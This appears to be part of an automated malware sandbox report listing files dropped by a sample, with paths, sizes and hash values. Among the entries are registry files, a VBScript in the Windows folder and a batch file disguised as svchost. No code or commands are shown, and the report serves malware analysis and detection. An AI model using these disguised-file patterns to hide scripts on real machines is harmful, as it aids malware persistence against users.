b2975de7a19c55a84af9ae699ee640097424f05fb51e4a9e24324a585096a74c

SHA512
8deaf5cdf2dcff2785bc8a7080cdd811e9c2c36373dd974fbd259a15e9f00551caaf878d785610e9b7e45f6b8b600d461479627ba59e1147c00b7dd88b01655d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
afc0cad117b90d8b5cc641090e3b6e8d

SHA1
be8b69fd728033c5167f60ac337c4043916b0955

SHA256
da57d8732cd8885ae8aec5a203229bda235a37f8543161d5efa4969dae066548

SHA512
9eb3a21970f477585db70763a80705965888bfbb73ca77f500067de6379d984fd9f86a344d7228073b833041044da1097437728b66ef14e017226897f145d64c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
227dd905b26c6c0f6b81a3e649ea74b7

SHA1
98bdbcb0548af8891e33fbe10732ea4919e04ab5

SHA256
46860143eb4d1380c92f9c71e8c18dd690687a32bb1e39097f6206c96b28237e

SHA512
69218f1b906ab6c413a3799d8a57bcb952dff5f00607a5ebcf641acfe16be5f3f9314e7f6248fdb1a2fccfa355eeeaa033d3ec57521f9c54b4923c982828b895

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
de184e420910b38b79e7a93440021979

SHA1
f2a4515405ee8bf6d93f56fcf7f2ff78704c141f

SHA256
251815e253f6df1f651176ededed4d9d16acea6b78d12e69adfc3e8a0600204d

SHA512
e456f5e98ae525e6c1defcb063f5503ecc07c7f8514b65e1bfe49038f33f20e09f18362c5213fc9622a568581a700207b97810766fdc4e2a1edda5002c416092

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
19381fb34007bc4cbda4ffdd9dd6dc22

SHA1
3d907c01cd81054f52505ffd9757fcaadc0f501a

SHA256
71d3eda7c487d4ad62b61e5a97d6677120eb1afb2b7e22d43b52fa708de49dc1

SHA512
ee3466935f7884e0e92eba2a2386459a3f150034ceaca716f7e4218a041b044bb6979b2ab4c2f71342d0ef91c57eb67af2e0b2e87d6fdda60ae39e2326cf98ee

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
769b6a0b4da1df6dd8d32377e1ac40dd

SHA1
40631bdfa7fe9b729c7a69eae73ddb671a1c6960

SHA256
67fdbec6e99b353ec229a644f637886c2d28327863b9dbcdc89a11d5e8cf1a92

SHA512
997ac377719bd4e8cc0b5355fdeb0dfa7bd81389805e30e9f197f8ad5a9fcc7753a1bb87b41e1cea99654eeccd6deea79a3ca46c881e24662a7e8058bc193758

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f875aab91dc1ceb487b3878d2ec1849f

SHA1
9e3a35994ac6fe0e66c3f338d0072e58f61c4f18

SHA256
78a1fcafe378190d90ccb22f413c884416000cf90c7dde32b88ab7a0a7c7710a

SHA512
9fbe699261579fef2a0ea9311954d7d9eccdbd410af05321efb870d85f1d6d77a8200f42c81d6c2e2ccf404c44ccaf3af1316c0dfd1add1b25d3222e572199e1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3e51a4cf5bd3f1398b968841f1fd5e71

SHA1
f0d3e9bcb469dcbe76dd2eeb8e2885cfd243550b

SHA256
664574e10febdc3decff1a8c8db7a567a901bb7c3e8995c9b2a6c57db1d549aa

SHA512
8660fe545db553d4dee0b3c80a5c69cb0763853b8ec7599bc8ddb23e9e2c005bca5708b5f16c50cb31a5e8914d77985a820e859c76b02a2a5a4f119aeadf50ef

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
90b8c8ed6eb8915d5143173898365082

SHA1
3c004f37bd7d51df7f6d7e45f1905af3b1e90f11

SHA256
1030cecc042fcb97b7a2aaccb2d6e5581edc037619c4c66ae70e9f2056f099ff

SHA512
bd6de58a961462511e162cdb614863bc7203afe613fe85e2f474cc5610cacb9cff933356fd4eb3b0759a5b3fdf9e28a25ab99e5628edd75f2fbf1f9920fd7a94

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f5addbec5e69da4f8b695ef467acf598

SHA1
cbbcee74212393471a9400e3b7e880427492a4a0

SHA256
7480afeea4ad65985e34c8ee02c9312ae3ffbcc8167e22c12965d6484d1a4ef0

SHA512
a9cfe368888b2d83157ebf001630a2d14ec7abd8a97b203395962669a91c298fa74a4fdaa084681d59ed2b5a57b61f6df8d17edcbf59d060142d2b1f43561bbc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
563c28677802ee579871a28d4df42786

SHA1
54306eb974816e710bf19abba9b106c9e1ee8521

SHA256
c931c91448d1deab1615e1f3edc4e2e604c11a1f42bb5f0ab44ba0ace195cb6b

SHA512
095742ed7cea4dcbc88627e12dc1f8c0a35a8f8eaf80e25311ed5daea0e57091acabe05cd4e2ff8ce8b12835e16c0aa087e9eaab9064e02ad6d0de467d60e52d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c385cb8991e7614fae1f13d847f77ea2

SHA1
5821b907fba4777c1db5b3ad648707ae9c21684a

SHA256
53e9bd77d7919462524a6a05830737cf3ae095a5eb617a524b853d2b35a1dfc5

SHA512
b09d2ca5bbe3655014e0e2b9506649d3eb2ccc42a4c0598b1f44fe9013f1b3b3f177aa4b6f5b9768437cac1326f9cbfacd477c67ba769503190ae13d0355174b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bc89d191233fa698d361ff42442246c7

SHA1
160aa11a6dd66e5dca1e53dedc71f4aed8e81b5f

SHA256
8720f81bf65cbb9b65bf499b47e975325682e5a47698162b6af7169b839a2b7b

SHA512
2c3db59c84b56128a67ba6eb91cc93bf44fb84b81220b786c27ef6c923094b014111f03a9764cec92606def20047ad43d2c470528a96e92f1256fe9e20e71c90

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
59ff0db8ee7e3edeb89350a3f77d14df

SHA1
81d47b757af37c44d6bc053c6eeaf55c5bd16562

SHA256
30f16ed6bd05ed32ceecfb2f704ccaeb10fdec3d2e4ee52cf08c0e8e346dde4b

SHA512
f1a911086497d1f71e018279bcb7f1f954b046f40203a2fb9160b497d250f1c187f0d69074f54c9c8e4cc13d23a1116fb479a69ed4ba66e08173d89699989aad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{63F758B1-7756-11EF-A5E9-FE7389BE724D}.dat

Filesize
3KB

MD5
d23b61761e1a806b8cbf10bf09f2e882

SHA1
7aa3fc509496d59e935fef4fa6e224ff8f7f395c

SHA256
4e3ef87354d908aabe0e5eccabeb863e19b326788d58f6c815666f149934de90

SHA512
cc3aa7535e44cc8f23aea5b3b25a81ce1f5b5df4e6d1e3cab694a7bdad5b89534d68a1d8cab6c751fa1538a997bafe7c3ab4852b0977f48638f5b0d82c956a26

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{63F758B1-7756-11EF-A5E9-FE7389BE724D}.dat

Filesize
5KB

MD5
bc031993018307e299043155be183eae

SHA1
f4f77e8f1fc17c0431d25325d1ad8fdc5b0d5e07

SHA256
fd9e3651eee3d2ba1978759c00b672c177fbd84948d20b7ccedfd62e94ac5b55

SHA512
871149c33f005ba00c2b26ee21cf7cafadb0ade577c822c2821c80f0a978580eb5308dc2c72301dbb5aa8ec6d6299083cce9cb94bc90712473b248102b1525d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{63FC1B71-7756-11EF-A5E9-FE7389BE724D}.dat

Filesize
3KB

MD5
3b0665fa1096de6c974a437a85d22690

SHA1
7768ba208483bb27a491f4c18a8bb32e82d9b960

SHA256
1b15bf2078d569554c5f00e8375245668cff06017f2009904d27a0afa10f47dc

SHA512
658445da2f47236901b08274637489d4850a754e7b1dbb5058bbd3b059ea35cef3cd8480dcd970b5cc230efedc917d1ba9f0213e63e0ffefe53d912eb206d365

Download Submit
C:\Users\Admin\AppData\Local\Temp\259501376.bat

Filesize
6KB

MD5
f5dffb4c01116443d57574b03b683deb

SHA1
7dd529ad3bc1eed21cc56caa36aafcfd4a7c906c

SHA256
2a54c42429cc1e0f80ef8e839b04b766a6969e9552235fb8682af06d9dfc1517

SHA512
2105465cc634f2eae59be1c92641d1d7950a8cda77a98ef5854d99798121927f9803411e6f6b9ede8a68ccc0d436458ae932fe7773136050a5c00e57d3ef9b2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC717.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC7A9.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\gai.reg

Filesize
309B

MD5
8c9d7b6c427f4978944db6dcdf2905be

SHA1
8fb3eb9e98895a774fdd4f043205a2d7abf75ccd

SHA256
b70851b5596fc38203915b7803d6e6b96e2bfc4a99f7181418dc489bf4b290de

SHA512
8cfaa804ad8e58c8394d19d9a28b07e81c4ac52d2aaabb1eb1b16a97b6d52a4cda204f0d23557e83f9a1bfd906dec42d9cd8a88433cedd69e833ee9767508897

Download Submit
C:\Users\Admin\AppData\Local\Temp\tem.reg

Filesize
222B

MD5
6e70d535232e387be376d4e9b89856f2

SHA1
eec245b62d61d38813257eddebd8467bd0af7c6a

SHA256
f4664fe8b10ebfdb2c27b8de2341a51dc89d53fc218a4ad1f7a6e1b58784598b

SHA512
37c9cd901ebb3d1d13313aa78af8dad92e633c770fe8f5b529414f65d5455a042d05be272e279568dfee65e1cbf3c7f7b02cd9d3aef3a10803eaf032cb96af7d

Download Submit
C:\Windows\r.vbs

Filesize
293B

MD5
c6579d393f2e98e4f72a4962744aed72

SHA1
e3cb65b2995a1b04101a2e75ac632434c1280578

SHA256
924cd100968691a2f7d81241b02292738d56d461bdfab8598781c397b7d1873a

SHA512
9bb73597c1b43a0642e7f29443ba80b287bd7180e5db6c696349c1e68972d708605ab08a57b6d8c87fc3665034d959f7d412fec2ba82ef2d62ce8188009a0d8d

Download Submit
C:\Windows\system\svchost.bat

Filesize
398B

MD5
ab346134d2cf2f37c5b94763c643c761

SHA1
02b061a8def72083c25a8c9055e5df1ffca276dc

SHA256
502ab5ca9d317a53d2fae666eafad219782eb4816789a956446d92c3ba41032e

SHA512
0db93d29f9b7e2cae831e13166cebbe0a603eb2a4c4db4e7be17d5d4349121fb3d75d18633ba583c4a78228b205d2f39cba55c3619b3e8a29f8e0ca08ffa2e22

Download Submit
C:\Windows\system\svchost.bat

Filesize
805B

MD5
078bff05ebd0ef5685f10c0ef68c80af

SHA1
f5cc97a5acc2d12d4e3a194070c1fe3df147a02d

SHA256
46c522c3c8a25adf8e3195b7d7e4606a9f7f4dfcb9c61a0ec1e46b97b63c80a6

SHA512
c37fb65549e3c77c819c47d2b1c6b375bb1f2138149935b0bd2128f47c2f521e930a5d3b5e812fb45347da7e572b8553024d0c15f544db616d82af22349a246f

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads